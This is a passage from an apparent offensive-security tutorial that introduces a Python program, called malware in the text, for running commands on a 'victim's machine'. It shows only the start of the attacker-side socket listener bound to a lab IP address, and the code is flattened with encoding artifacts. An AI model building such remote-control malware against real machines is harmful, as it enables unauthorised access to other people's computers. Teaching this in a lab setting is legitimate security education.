Running commands remotely on the victim's machine
We have already seen in Chapter 3, Reconnaissance and Information Gathering (in the Creating a Python script section), how to run commands on a computer using Python. We will build on that knowledge to create a malware that will take commands and execute them on a victim's machine. Our previous program just sends one message to the victim and exits. This time, we will modify the program to do much more than that.
Open a new project on the Kali machine to execute commands on the victim's machine and create a new file. Let's start by establishing a connection:
import socket if __name__ == "__main__": Â Â Â Â hacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) Â Â Â Â IP = "192.168.74.128" Â Â Â Â Port = 8008 Â Â Â Â socket_address = (IP, Port) Â Â Â Â hacker_socket.bind(socket_address) Â Â ...